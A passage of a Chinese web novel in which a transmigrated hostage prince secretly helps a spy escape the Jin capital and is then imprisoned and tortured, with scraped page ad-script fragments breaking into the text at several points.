“统子,云容退烧了吗?”舒明尘在脑海中苦哈哈地问系统,他也没办法,他不能被云容发现身份啊。 系统扫描了一下云容的面部数据回复到:“好像是退了点,但体温还是偏高,不过应该是低烧,问题不大。” 炮灰反派系统没那么强大的功能,不能检测身体状况,只能通过对方脸色判断,相当于中医“望闻问切”中的“望”。 哦,那他祖传的捂汗退烧法还是有用的。 他就说嘛,小时候他每次发烧,都是要走一遍这个流程的。好像有个人在他身边,轻轻地哄着他,是谁来着…… 不记得了…… 在层层叠叠的衣物下,那枚玉佩安安静静地悬挂在他的胸前。 算了,还是先做任务要紧。 舒明尘对云容摆了摆手,示意跟他过来一下,云容十分自觉地下床穿鞋,却突然愣住了。 地上,是一双崭新的棉靴。 他抬头看向面前的人。 对方恰好回过头来,明明他也没看见对方的表情,但他好像知道对方想表达什么,他快速穿好,跟着对方来到桌子旁坐下。 桌子上摆着一些吃食,被一层层油纸包着,不知对方是怎么保存的,尽管是冬天,入口的食物也保留着几分温热。 就在云容狼吞虎咽之际,舒明尘给他递了一杯水。 云容这才注意到房间里还有个小茶炉,一只小茶壶放在上面,蒸腾的水汽咕噜咕噜地顶着盖子。 这个人倒茶的姿势很规矩,平时身边应该也有仆从,对方的衣服上有着些许火烧的痕迹,看来处理这个小茶炉很是费了一番功夫。 云容暗自思衬着。 舒明尘又给小茶壶添了点水,回头看向云容,发现后者一直在盯着他,连包子都不吃了。 嗯?云容这什么毛病啊,天天表现得跟梦游似的,救命啊,这个世界给男主安排的友军到底怎么了! 他凑到云容面前挥了挥手,别是发烧烧傻了吧?看到对方回过神吃包子才放下心来,云容可别给他整什么“意外”。 他还是个新人,这是他第一个任务,他真的承受不住啊! 等腹中饥饿稍稍缓解,他才感知到口中的苦涩,那个人给他喂药了,药味和食物混在一起并不好吃,但他还是坚持吃了下去。 他已经饿了太久了,精神得到休息后,胃部的痉挛开始折磨他,必须尽快吃点东西。云容几乎是风卷残云般把桌上的食物一扫而空。 舒明尘看到云容都饿成这样了,还在脑海里跟系统感慨了一番:“统统,云容真可怜。” 在晋国卧 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 底五年,在质子府做着最累的活,最后暴露了落魄到这个样子,感觉对方的每一天都好累,唉。 系统也觉得云容现在这样子属实有点惨,都快赶上饿死鬼投胎了。 “舒舒,我们俩一起努力把云容安全送出去。”系统踌躇满志。 舒明尘:……他就感慨一下,自家傻系统就着急让他去送人头。 就他?他连个人都搬不动,让他把云容送出城,他觉得云容自己出城都比前面那件事有可能。 舒明尘看了看云容,又想了想自家的傻系统,觉得这次的任务真是无比艰巨。他觉得自己现在头都有点疼,嘶。 正在吃饭的云容听见对方轻轻地叹了口气,他抬起头望向对方。 依旧是一身的黑衣,连个头发丝都没露出来,从上到下捂得严严实实,连手都没露出来,但他却好像透过这黑色的外表看见了里面的人,双手撑着下巴,一脸忧愁。 他在害怕吗?害怕他会被发现窝藏邺国卧底吗? 云容想了想,还是说道,“我的伤已经好了,多谢阁下相助,我稍后就会离开。今日之恩,日后必涌泉以报。” 然后他就看见对方抽了根筷子,在盛有白水的茶杯中蘸了蘸,在桌子上写了两个字:不用。 字的主人顿了顿,又接着写道:我的任务是掩护你。 云容猛的抬起头,对方和他一样,是邺国的卧底?!可是为什么他之前不知道? 安城的卧底不好安插,晋国在这个方面查的很严格,这些年成功在安城坚持下来的暗探不超过两只手。 刘安是所有卧底中为数不多和他有过接触的,他的情报需要通过刘安传出去。 但是现在刘安被抓了,还把他供了出来,这时候再冒出一个人说他也是卧底,而且会帮他,云容是不信的。 “那你为什么不肯用真实样子见我?”云容问道。 怕你被抓了把我供出来。 云容难得噎了下,毕竟他就是被刘安供出来的。 但他还是不信,怎么可能呢?世上哪有这么巧的事——刚好他暴露身份,又刚好冒出一个人说可以帮他。 对方没有再写字,而是从怀里掏出一个令牌,放到他面前。 水迹在桌上缓缓浮现,隐隐绰绰映出几个字:出城的令牌。 云容震惊地看着对方,这显然是早就准备好了的,所以,对方真的和他一样,是谢将军安排进来的卧底? 如果只是想确认他的身份,对方确实没必要做这么多,而且目前的事确实已经超出了正常救人的范围。 所以,他真的,也是将军派来的? 不,不对。 11. 炮灰质子(11) 云容这小伙子戒备心还挺强。 有戒备心是好事,尤其现在云容处境很糟糕。 舒明尘对此倒是乐见其成,但他得想办法让云容相信他,也不能说是相信他吧,是相信他给的令牌。 要是云容没有令牌强闯城门,就凭现在云容那一身的伤,估计会死在这里吧? 所以他让云容误以为他也是卧底,他又没有骗云容——他目前的目标就是掩护云容出城,至于云容自己怎么想的,这就不关他的事了。 云容看起来好像相信他了。 耶!计划通! 云容其实并不是很相信这个神神秘秘的黑衣人会是卧底。 他是将军在安城安插的人,在此之前,他曾经是谢南渝手下最得力的干将,无人知道,威名赫赫镇北军中还隐藏着一支特殊的军队——牵机营。 而云容,他是牵机营中为数不多的,直接受命于谢南渝的人。 五年前,云容受谢南渝之命,以质子侍卫的身份混入安城。 他在安城站稳脚跟后就接手了安城的情报工作,他知道邺国在安城所有的卧底,所以,他也知道,邺国的卧底并不会像眼前这人如此行事。 但对方知道他是卧底,还要掩护他出城? 云容看了对方一眼,这个人遮掩的太好了,根本无从确认对方的身份。 要不是对方之前不小心说了句话,云容甚至都没办法确定对方的性别。 对方如果是晋国的人,直接把他抓起来就好了,又怎么会,这么帮他呢? 云容只能确定,眼前的人是想要他出城的。 出城么?他现在已经暴露了,刘安被抓,传递情报的渠道已经被晋国断了,消息已经递不出去了,他之前也是想出城的。 云容垂下眼睑,眼底情绪翻涌。 他其实有别的退路,还有别的探子藏匿于这里,或声东击西,或孤注一掷,即使搭上所有人的性命,也得把情报送出去。 他不知道刘安到底掌握多少消息,但刘安既然能把他供出来,就意味着其他人会有危险。 继续留在安城,恐怕所有暗探都要死在这里。 既然如此,不如铤而走险,只要他可以活着见到将军,晋国存活最后的希望——安城将会是邺国的囊中之物。 但是现在既然有出城的令牌,那么之前的计策当然就作废了,如果所有人都能活着出去,何必要搭上其他人的命。 云容抬起眼睛,正视对方:“阁下可要和我们一起出城?” 在他的目光下,舒明尘摇了摇头,出城?开什么玩笑,他出去了云容不就知道他的身份了吗? 他只是想让云容出城给男主送情报,然后安城攻破之后,他死在谢南渝或者随便一个人的手里就可以了。 如果云容知道是“质子”救的他,那他还怎么死? 他不走…… 这个人不和他们一起走,是因为,城门口有埋伏吗? 云容试图理性地分析眼前这个人的行为,对方现在没杀死他,是想通过这种方式把所有暗探一网打尽吗? 所以,这个令牌,是假的?是对方用来哄骗他的手段。 可是,万一,万一呢,云容闭上眼睛,万一这块令牌是真的,万一对方是真心想帮他的…… 云容莫名想起来那位质子殿下,那位总是一脸冷淡,却在暗地里想方设法让质子府的人活下来的殿下。 他捏紧了手里的令牌,嗓音干涩地问道,“这块令牌,真的是,出城的令牌吗?” 透明的水迹在古铜色的桌子上缓缓铺开:是。 云容望着眼前的桌子,看着对面的人以奇怪姿势握着筷子的手,他试图从这些表面看出些什么,但他什么也没看出来,目光所及只有一片黑色。 舒明尘在反派部门受过训练,古代字以及现代字可以说是练得不错,但他还是倾向于写现代字的。 因此,他并没有意识到,此刻,他握着筷子的姿势是现代握笔的姿势,在这个古代世界可以说是非常古怪。 信,还是不信?他是选择牺牲所有人帮他逃出去,还是选择赌上自己的性命来验证这块令牌的真假? 云容隐约感觉自己好像站在悬崖边上,摇摇欲坠。 所有人的性命,包括他自己的,都掌握在他自己的手上。 他是牵机营的人,是谢将军千挑万选出来的暗探,是安城所有暗探的领导者。 他不该优柔寡断,理智告诉他,他应该选择更稳妥的、之前就制定过的计划,那样最起码还有活的希望。 他应该放弃,暗探干的就是这个,只要情报能传出去,所有的牺牲,都是值得的。 云容长舒了口气,攥紧的拳头松开,正打算开口,却蓦然看见:如今形势紧张,你尽快出城。 舒明尘眼看着云容又陷入跟梦游一样的状态,都想按着云容的头往墙上撞一撞,你清醒一点啊喂,这是什么病啊?还有的治吗?就不能等把情报透给男主之后再犯病吗? 舒明尘只能催促云容赶紧走,赶紧见到谢南渝。他好难,云容到底怎么了?原剧情里云容就有这毛病吗? 你?不是你们?那他之前的猜想……云容感觉他的脸有些烫,是他想多了,对方是真的想帮他出城,虽然不知道为什么。 “如今晋国上下已风声鹤唳,为了安全起见,阁下同我一同出城吧?” 云容其实还是希望对方能跟他一起出城,一方面可以进一步证明令牌是真的;另一方面他也觉得对方继续留下来确实危险。 舒明尘不能走,他得按照原剧情,在安城继续待着,直到谢南渝攻破安城,把他杀了。 能按照剧情走就按照剧情走吧,不然万一他出了城,男主那的剧情出了什么差错,就完了。 于是他对着云容坚定地摇了摇头。 对方应该有自保的手段,云容思索。 他有八成的把握确定这块令牌是真的,但还是要安排一下,万一令牌是假的,安城剩下的暗探要按照原计划进行,一定要把情报送出去。 我要走了。 舒明尘作为质子,不能在晋国的视线里消失太久。 他已经在云容身上花费了不少时间,不能继续在这待着了。 索性现在云容的伤口已经处理过了,药也喂了,令牌也送出去了,云容应该可以平安无虞地出城。 舒明尘走之前又从怀里掏出几瓶金疮药递给云容,小伙子好好活着啊,一定要活着见到男主! 云容关于这个神秘人最后的记忆就是对方穿着一身黑衣头也不回地走了,屋外风声凛冽,黑斗篷在寒风中猎猎作响。 没一会,对方的身影就消失在了他的视线中。 像是在做梦一样,眼前的茶具还在徐徐地冒着水汽,桌上还残留着和对方“对话”的水迹,人却消失了,仿佛对方的到来真的就是为了掩护他出城。 云容没有时间细想对方的目的,他现在的目标就是出城。 出城,云容冷静下来,还是要做两手准备,不能把希望压在一块不知真假的令牌上。 翌日,天刚蒙蒙亮,南城门前,一列步履匆匆的士兵拿着令牌扯着嗓子道:“邺国暗探于昨晚出逃,我等奉命出城捉拿,速速开城门!” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 城门守将忙上前查看对方手中的令牌,确定令牌是真的后,立即指挥手下放行。 路障被清走,城门大开,云容隐在士兵中,他的容貌已经做过遮掩,再加上有铠甲的遮蔽,并没有人认出他就是前几天被通缉的邺国暗探本人。 一行人快马加鞭,一刻都不敢停下,直到安城在他们的视野里彻底消失,他们才如释重负般松了口气。 安城形势突变,他们都以为要死在晋国了,没想到还能逃出来。 众人都不约而同地将钦佩的目光投向一个人:还是老大有办法,竟然能搞到出城的令牌。 被众人目光聚焦的云容脸色并无多少变化,只是神色冷峻道:“继续赶路,务必于五天后与邺国军队汇合。” 虽然目前暂时安全了,但是只有与邺国军队汇合才是真的安全。 云容一行人走的是小路,在战时,尤其是现在的情况,只有军队才会走大路。他们要是直接走大路,很可能会迎面碰上落败的晋军,就他们这些人,迎面碰上就是死。 不过他们运气不错,由于选择的小路,并没有碰上晋军,等他们赶到彭城的时候,彭城已经被邺军攻下了,云容几乎是一路畅通无阻地见到了谢南渝。 时隔五年再次见到谢南渝,云容上前行礼道:“将军。” 谢南渝刚经历过一场战争,多年来这样的战争他已经经历无数次了,这次的战争并没有给他带来多少疲惫感,更多的是心中的亢奋:困扰邺国多年的难题终于要从历史的长河中消失了。 谢南渝对于云容的到来还是挺意外的。 情报中断之后他就猜到云容暴露了,所以他加快了对晋国的进攻,攻下彭城之后就是安城了,本来以为云容已经落到晋国手里了,结果没想到对方还能逃出安城。 云容向谢南渝说明了一下安城现在的情况,安城是晋国的国都,就算是谢南渝带领邺国大军势如破竹,在短时间内也是很难攻下的,云容的情报刚好解了他的燃眉之急。 谢南渝心情颇好地舒展了下眉,云容在安城五年,对安城了如指掌,有云容在,攻下安城只是时间问题。 有了云容带来的情报,他有把握在半个月内拿下安城。 谢南渝本来想让云容去歇息一下,还没开口,就听到一个问句:“将军可曾派其他人到安城助我?” 他诧异地抬起头,望向对方。 云容看到将军的表情就知道,那个人果然不是将军派来的。 他抿了抿唇,从怀里拿出那个令牌,递给眼前的将军:“这是一个人交给我的,他说,他的任务是掩护我。” 谢南渝接过令牌,看了半晌,沉声道:“自从你到达安城后,我派去安城的暗探都由你调派,除此之外,没有别人。” 所以,没有一个暗探接到的命令会是掩护他,所有暗探接到的命令都是听从他的命令。 那么,那个黑衣人到底是谁呢?他为什么会说,他的任务是掩护他? 云容和谢南渝都陷入疑惑中,邺国皇室已经被圈禁,晋国也岌岌可危,那个人是站在什么立场上帮助他们呢? 谢南渝首先从这种状态中出来,看了眼还在颦眉思考的云容,正色道:“不管对方的身份是什么,总之他是希望我们攻下安城的。至于对方到底是谁,攻下安城之后或许会有眉目。” 云容瞬间明白过来,对方不暴露身份,或许是顾忌安城还在晋国手里,暴露身份会给自身带来危险。如果安城被攻占,对方或许会主动站出来也说不定。 想明白之后,云容也不再纠结对方的身份,战争当前,还是顾及眼下为好。 12. 炮灰质子(12) 邺国大军攻下彭城的消息很快传到安城,整个晋国上到官员,下到百姓,人人自危。 彭城是距离安城最近的城池,邺军攻下彭城的下一个目标,就是安城。 虽然早就知道会到如今这一步,可真正到了生死存亡之际,无数晋国官依然惊慌失措。 他们绝望地意识到,无论他们愿意或是不愿意,他们的命运都与晋国紧紧联系在一起。 统治者的更迭,国家的覆灭,对百姓或许不会有太大的影响,但是对于晋国的每个官员来说,他们曾经追求的财富、仕途甚至是性命都会葬送在这场历史事件中。 任务完成近在咫尺,不过舒明尘并没有什么开心的感觉。 要问原因就是他现在人在天牢,看着那个被抓的邺国暗探招供的邺国卧底名单,心情复杂。 他什么时候成邺国卧底了?!舒明尘嘴角抽了抽,这个邺国暗探估计是不知道其他暗探,又受不住拷打才把他说出来。 常笠目光灼灼地望着他,就像在看一只到手的猎物,在考虑从哪开始驯服比较好。 这个眼神太过露骨,舒明尘有些不适,便稍微偏了偏头,可他整个人都被固定在刑架上,又能躲到哪里去呢? “我不是。” 话音刚落,常笠便利落地给了他一鞭。 没等他从突如其来的痛楚中缓过神来,常笠就将鞭子交给手下,吩咐道:“先打四十鞭。” 晋国在逼供人质方面颇有自己的一套方法,不然也不会主动与邺国对上。 邺国暗探落在晋国手上第一思考的不是逃跑,而是寻死,由此可见,晋国酷刑的可怕。 李淮景原本认为,就算这个九皇子对邺国再忠心耿耿,也不可能撑过他们晋国独有的酷刑,不过半天就会招供。 毕竟是个皇子,在皇宫里金尊玉贵养出来的,从没经历过任何训练,受不住的。 就像之前那个抓到的邺国暗探,一开始咬死不说,最后还不是把他知道的都吐出来了。 可是李淮景没想到,这个看上去病病弱弱的九皇子,再一次打破了他的认知。 他看着眼前被拷打得气息奄奄的青年,对方本来就苍白的脸色此刻已经变得惨白,凌乱的头发混着冷汗贴在一侧,疼痛让他的唇色都显出不一般的苍白,长长的鸦羽垂下,看上去既脆弱又狼狈。 一天一夜的拷打,竟然没能让对方吐出任何有价值的消息,连招供都没有。 常笠跪在一旁,头颅几乎要与地面齐平。 “质子何必如此?”晋国国君望着被绑在刑架上的青年,眼中的微光一闪而逝,“邺国九皇子叛国之事传的沸沸扬扬,就算是谢南渝想留你一命,他也挡不住天下人的舆论。” 舒明尘抬起头,费力撑开眼皮,“陛下既知我为其做事落不得任何好处,为何断定我就是邺国的内应?” 一天一夜的折磨,还没有任何进食,此时一开口,嗓音就像是被砂砾磨过一般,艰难而嘶哑。 “质子真是不见棺材不落泪啊,”帝王轻叹一声,“那个令牌,是你送出去的吧?” 舒明尘的双手被缚,粗糙的麻绳磨得他手腕都渗出了血,听到此话也只是虚弱地笑了笑:“陛下认为是,自然就是。” 不愧是把他们所有人蒙在鼓里的舒明尘,即便落到这个地步,说话依然滴水不漏。要不是他查到了点东西,估计真的要以为是他自己冤枉了对方。 “你留下来,是想把朕留在安城?”李淮景用的虽然是疑问句,但他语气满是笃定。 果不其然,舒明尘瞳孔一缩,落入前者眼中显然是一副被说中的样子。 舒明尘:!!!没想到我留下来还有这种作用。 之前没和云容一起走的后悔顿时烟消云散,果然还是要按着剧情走! “还是不肯说吗?”李淮景盯着他,“之后可就没有这么好过了。” 舒明尘脸色不变,反正系统把他痛觉关了,虽然身体反应还在,但他其实是感觉不到疼的。 李淮景看着舒明尘不为所动的样子,讽刺一笑:“质子殿下难道还妄想等到谢南渝攻下安城的那一刻?你觉得朕会让你活到那个时候吗?” 舒明尘只是吐了一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 口浊气,没有再回答他。 “痛快地死去,还是受尽折磨而死,你是聪明人,应该知道怎么选。” 李淮景的声音回荡在舒明尘的耳边,像是情人的低语,温柔的蛊惑人心,“而且,就算你坚持到了那一刻,你觉得谢南渝会护住你吗?他只会把你推出去以平息邺国百姓的怒火。” “九皇子,他只是利用你,等他得到安城,榨干你最后一丝价值之后,就会把你像破布一样丢掉。你在这里的坚持又有什么意义呢?” “我们可以继续合作不是么?你负责把邺国军队引入圈套,我负责把他们歼灭。到时候,邺国就是你的,你会是邺国新的王。” 伪装的极好的毒蛇终于露出了它尖锐的毒牙,它用甜言蜜语堆砌,以此希望猎物落入它精心准备的陷阱。 可惜,舒明尘并不是真正的邺国卧底,他既没有能力也不会将邺国军队陷入危机之中。 如鸦羽般的睫毛颤了颤,最终归于沉寂,这是无声的拒绝。 李淮景声音阴冷:“好好招待质子殿下,别弄死了。” 牢门开了又关上,狱卒又拿来新的刑具摆在他眼前。 一排排银针在昏暗的牢房中闪着幽冷的光,常笠瘦削的身影站在他面前,若有所思道:“殿下现在反悔,还来得及。” 舒明尘只是微微闭上了眼,牙齿下意识地咬住了唇。 一声轻叹之后,新的讯问又开始了。 细长的银针侵入指缝,舒明尘感受不到痛,但手指的异物感还是挺强烈的,怎么说呢,感觉就是挺新奇的。 等一切结束后,舒明尘已经疼昏了过去,唇瓣被咬的血肉模糊,身上的衣服都被冷汗浸透了。 当然,昏过去只是身体的反应,舒明尘本人的直观感觉就是,他本来在脑海中跟系统唠着嗑,但没多久就眼前一黑,随后整个人就晕了过去。 人都晕过去了,再继续下去也没有意义,常笠吩咐给舒明尘灌点吃的,毕竟就舒明尘这个身体,要是就这么放任他不管,估计真的会死在这里。 最起码舒明尘现在还不能死。 13. 炮灰质子(13) 舒明尘再次醒来的时候发现自己躺在地上,牢房内阴暗湿冷,他就这么躺了不知道多久,感觉整个人就像被冷水从头到脚浇了一遍,浑身泛着刺骨的冷。 舒明尘没动,在脑海中跟系统聊着天,他要是一动,外面的人就知道他醒了,估计又要来折磨他。 “统统,我是不是发烧了?”舒明尘眼睛睁了又闭上,他感觉眼皮很重,意识也有点昏沉。 系统扫描后肯定了他的疑问,并且补充道他现在的程度差不多是云容发烧那种。 舒明尘感觉自己要死了,就他这幅身体,估计撑不到男主来了。 他想起了之前晋国皇帝说的话,他沉思片刻后跟系统交流:“按照晋国皇帝的说法,我留在安城带来的结果是他继续留在这里;那如果我跟云容走的话,晋国皇帝是不是就不会继续留在安城?” 系统停顿了一下,然后生无可恋地发现舒明尘说的是对的。 一人一统陷入了沉默。 舒明尘感觉他好像卡了这个世界不得了的bug: 跟云容出城——晋国会反应过来他是卧底,然后迁都,李淮景不会像原剧情一样在安城被擒获,重要剧情点偏移,任务失败; 留在安城——晋国还是会查到他暗中帮助过云容,他会死在这里,任务失败。 舒明尘在任务过程中可以偏移一点剧情,但重要剧情点是不能动的。 晋国皇帝在安城被男主擒获,这就是一个重要剧情点,他作为一个炮灰是不能影响到这个重要剧情点的。 重要剧情点偏移会引发一系列蝴蝶效应,本来应该下线的反派最终没有下线,可能会为之后的剧情带来毁灭性影响。所以任务规定,重要剧情点一旦偏移,自动视为任务失败。 舒明尘:他现在就好像刚出门就遇上了八级大风,现在就只剩下在风中凌乱了。 “舒舒没关系的,云容平安出城了,谢南渝最后肯定能攻破安城的。我们还可以拿到一半积分。”系统安慰道。 舒明尘一听也是,新手任务没有惩罚,不会因为之前的剧情偏移给他扣积分,只要最后谢南渝成功攻下安城,晋国皇帝及时下线,他最后还能拿到一半积分。 一人一统不约而同地默认他们肯定坚持不到男主攻破安城的那一天,舒明尘已经开始考虑是否要主动找死,反正在这待着也是浪费时间,而且他虽然感觉不到痛,但是他现在好冷啊啊啊啊! 系统对舒明尘主动找死的想法双手赞同,这个世界有大问题,它家舒舒最后还能拿到积分已经很厉害了。 跟系统统一路线的舒明尘斗志满满,睁开眼准备开始自己的“作死”,猛然对上一双炯炯有神的大眼睛。 !!!他瞳孔一缩,头下意识后仰,但他现在就躺在地上,根本无从躲避。 蒙阙看见舒明尘醒了,对一旁的狱卒递了个眼神,马上就有人端着一碗药走过来。 舒明尘现在浑身无力,根本就反抗不了,他对自己要喝什么东西一点都不担心,要是毒药还能早点脱离世界。 然而,他没想到,这碗药他是被蒙阙硬灌下去的,蒙阙一看就没经验,褐色的药汁从侧脸留到白皙的脖颈,最后没入血迹斑斑的衣服。 被灌完药的舒明尘一脸灰败,不停地咳嗽,连眼角都溢出了生理性泪水。 素来冷静如水的邺国质子还是第一次这么狼狈,蒙阙挑了挑眉,之前不管用什么手段,除了额头的冷汗和咬紧的唇瓣,什么反应都没有。 差点被呛死的舒明尘感觉他刚才离脱离这个世界只有一步之遥,虽然他是想死,但他也没想到这种死法。 一时间他也不知道自己现在应该是什么心情。 “质子放心,没有陛下的命令,你是不会死的。” 蒙阙居高临下地看着牢房内狼狈的质子,对方似乎是想撑着身子坐起来,但他现在的身体太差了,最后只能徒劳地躺在牢房冰冷的地面上。 舒明尘随手擦了下脸上残留的药汁,启唇道:“我有什么好担心的,倒是你们,”他上下打量了一下对方,像是在看一只败犬,“可是要亡国了。” 蒙阙青筋暴起:“你找死!” 他把舒明尘从地上拖起来,一只手掐着对方纤细的脖颈,缓慢收紧,在对方即将窒息时又猛然松开,舒明尘又是一阵激烈的咳嗽:“咳咳咳……” 浑身乏力的身体没了支撑,舒明尘缓缓倒了下去,他心里觉得有点可惜,啧,就差一点。 蒙阙当然不会就这么掐死对方,陛下还未下令,邺国质子提前死在牢房可是他的失职。 之后舒明尘就一直重复他自己认为很枯燥的生活——被拷打,晕过去,灌药,再被拷打…… 舒明尘:有没有新的,这几样我看的都腻了。 新的手段不是没有,但常笠考虑如果真给这位质子用了,估计这弱不禁风的质子直接就死了。 他给舒明尘用的可都是精挑细选过的,只会让人求生不得,求死不能。 但奈何这位邺国质子骨头太硬,什么都问不出来。 常笠掌管刑狱多年,依靠狠辣的手段得到过不少情报,也因此一跃成为这暗不见天日的牢狱的执掌者,饶是他,也没见过像舒明尘意志这么坚定的人。 是夜,李淮景站在桌前 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,高大的身影显出几分萧瑟,昔日意气风发的帝王也不得不接受如今残酷的现实。 邺国军队围困安城,却又不直接进攻,每次都趁半夜发起突袭,等他们缓过神来又极快退去。 偏偏他们还不能主动出击,安城军备粮足,宜守不宜攻,主动进攻邺军只会白白损失兵力。 只是守城终究不是长久之计,总得有个破敌的办法。 又有士兵来报邺军发起突袭,晋帝摆了摆手,传令让蒙阙前去应敌,最近邺军突袭次数过于频繁,拷问质子之事被蒙阙全权交给了常笠。 质子,舒明尘,这几个字在李淮景嘴中转了转,低沉的嗓音在黑夜中颇显出几分阴冷。 七天啊,有用的消息一个也不说,倒是一直在试图激怒他,想死?他嗤笑一声,他怎么会让他死呢? 晋国皇宫,天牢。 “你真让我惊讶,”常笠的手抚过这张因痛苦过分苍白的脸,仿佛在对待一件脆弱的宝物,“你还是第一个能在我手底下坚持这么久的人。” 舒明尘已经没有力气对他这幅举动做出任何反应了,只是艰难地说道:“那份指认我的供词,是你做的。” 常笠微微一笑:“供词如何来的并不重要,重要的是,这是真的,就够了。” 舒明尘便又不说话了。 他不想说话,常笠却不想今日就这么结束。他从袖中掏出一方雪白的锦帕,轻柔地覆在了对方有些脏污的面庞上。 “其实,那张供认的名单里并不只有殿下,”他一边这样说着,一边继续着手上的动作,“可是最后陛下下令送到我这里来的,只有殿下一人。” 舒明尘的眉头皱的更紧了。 常笠却笑了。 “殿下手段通天,可是天下没有不漏风的墙,做过什么,没做过什么,最后都会袒露在有心之人眼前。说起来……” 他忽地顿了顿,站起身,居高临下地望着地上的人,看啊,多么干净,就像他原本的人生一样,可是这世间,从不允许这样的纯洁长久存在。 常笠沉默了很久,舒明尘也没有再说话,牢狱内火花噼啪作响,他们两人就这样相对静默着,仿佛两位经历相似的可怜人在互诉衷肠。 过了很久,常笠才发出了一声怪异的笑:“像殿下这等身份的人,我也是第一次招待呢。” 接着便是这几天的固定流程了,常笠惯常对他说一些“识时务者为俊杰”之类的话,他闭上眼没理。然后他听到一声轻笑,那似乎并不只是气愤,还夹杂着一些别的什么,只是还没等他细想,意识便沉入混沌中了。 实在是太累,也太痛了。 14. 炮灰质子(14) 安城城外,邺军驻扎处,主营。 今日对安城的突袭已经结束,多日的围困与突袭让晋国军队疲惫不堪,谢南渝站在地图前,有条不紊地把明日总攻的事务安排完毕,围困了安城这么久,终于可以收尾了。 营账外传来云容的声音,谢南渝稍稍敛眉:“进。” “禀报将军,军队各部已部署完毕。” 谢南渝颔首表示知道了,随后拍了拍云容的肩,这个他最信任的属下做事向来让他放心。 只是云容看上去却有些心不在焉,他以为云容还在思索那个不知名姓的陌生人的事,宽慰道:“如今没有线索,想再多也没有用,明天或许就可以得知对方的身份了。” 云容轻轻地“嗯”了一声,思绪却飘向了安城。 破城在即,殿下的处境,应该很不好。 安城城内,皇宫,承明殿。 晋国国君疲惫地揉了揉眉心,邺国软弱了百年,今朝突然发难,就让他陷入此等境地。他看着面前的臣子,陡然生出一种万念俱灰之感。 他少时即位,多有不顺,朝堂波诡云谲,权利倾轧,他都举重若轻地摆平了。稳定朝堂后,自然就盯上了邺国这块肥肉,他野心满满,不想最后竟然被邺国逼到这种地步。 就像是凌迟一样,一点一点等待着最后时刻的到来,钝刀子割肉,莫过如此。谢南渝啊,没想到软弱的邺国皇室竟也能养出这样的狼,竟也能放任他在战场上屡立战功,甚至功高盖主。 疲倦地安排好所有事务,李淮景问留下来的蒙阙:“将军认为,安城还能坚持多久?” 蒙阙眼中布满了血丝,他这几日都没休息,自然也没去牢狱折腾那个已经成为弃子的邺国质子,听见陛下的问话,他神色黯然了一瞬,随后沉声道:“陛下放心,我等将誓死保卫皇城,保卫陛下!” 李淮景苦笑一声,他又何尝不知蒙阙的忠诚,否则又怎会让其掌管宫城禁卫数年? 只是这场战争,何时结束,已经由谢南渝主导了。 穷途末路的帝王又想起被关在狱中的九皇子,极致的恨意让他恨不得啖其肉、喝其血,是他低估了邺国,低估了邺国来的人。 舒明尘再次看见晋国皇帝是几天之后,至于具体几天,他也不知道,时间在刑罚之中流逝,目前的他显然比几天前憔悴不少,像是烈日下的渴求水分的花草,已然衰败了。 舒明尘再次被绑到刑架上,他对这种操作驾轻就熟,顺便还观察了对面这对君臣的脸色。 哦,脸色真差,真棒! 李淮景心情不好,他心情就好,而且连掩饰都不掩饰了。 李淮景就看不得舒明尘这一副“小人得志”的样子,他不知道抓了多少个邺国暗探,哪个不是被他折磨的涕泗横流、哭天喊地的,还是第一次碰见舒明尘这样的硬骨头。 “朕命人同邺军交涉,以质子性命相威胁,质子知道邺军回复什么吗?”晋帝的眼中满是嘲讽,“九皇子勾结敌国,罪无可赦,若晋国将其杀之,邺国上下不胜感激。” 哦,舒明尘表示他知道了,反正他早就做好死在这里的打算了。 他漫不经心地附和着说道:“九皇子罪孽深重,死在晋国也是理所应当。” 晋国皇帝本来想欣赏一下对方不可置信的神色,结果又把自己气了个半死。 李淮景不理解,舒明尘为什么要这么做,就算是为了日后登基称帝做打算,也得有命活到那个时候,而现在,对方连命都要保不住了。 况且,邺国上下,包括来攻打晋国的谢南渝,完全没有把他的性命放在心上。 “李淮景,你已经到了山穷水尽的地步了吧?”浑身污血的质子嗤笑一声,好似这么多天的折磨对他来说好似无关紧要。 舒明尘不怕死地直呼晋国皇帝的名讳,本来想刺激一下对方给他一刀,结果刀没等到,等来了蒙阙的一鞭子。 鞭子上都是倒刺,舒明尘闷哼一声,瞳孔都有些涣散,低头缓了一会才抬起头来。 舒明尘勾唇,继续挑衅:“蒙将军何必恼羞成怒?这是事实不是吗?” “将军不妨想开点,天下大势,合久必分,分久必合。按照如今天下,由邺国统一才是大势所趋。” “晋国版图过小,就算今日情况颠倒,晋国也无法完全吞并邺国。邺国在晋国的进攻下,会再分裂为几个国家,那时战火连绵,可能几百年才会再次实现统一。” “今日晋国为邺国所灭,可是少走了几百年弯路。” 被折磨多天的质子表情闲适,嘴角噙着淡淡的笑意,仿佛他所在的不是令人闻风丧胆的晋国天牢,而是几个月前舌战群臣的朝堂。 蒙阙怒火中烧,任谁被敌国皇子嘲讽自己国家要亡了都会怒不可遏,何况他本身就是个武将。 蒙阙一想起晋国如今这般和面前的质子脱不了干系,直接拿着鞭子又“招待”了他一次。 蒙阙亲自动手往往比较痛苦,舒明尘的直观感受就是他额头的冷汗比之前多,晕过去也更快了。 这次审讯再次以九皇子晕过去为结果,晋国已经放弃从这位质子嘴中撬出点什么了,每天就日常折磨。 只不过今晚蒙阙将军过来,又加了一次而已。 常笠见怪不怪地给晕过去的质子灌了碗药,确认对方还有气息,就把人扔到稻草堆没再管了。 不知道过了多久,一道声音响起:“殿下?您还好吗?” 在牢狱中能被称为殿下的,也就只有晕过去的舒明尘了,可惜舒明尘这次受的刑罚有些过重,他到现在还没醒。 刘安内心苦不堪言,他当时实在是受不住了,本以为把唯一知道的云容供出来就可以了。 哪想到之后他还是不停地被晋国狱卒逼问其他卧底,晋国的手段简直令人发指,他实在是无计可施才把质子的名字说了出来。 刘安 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = 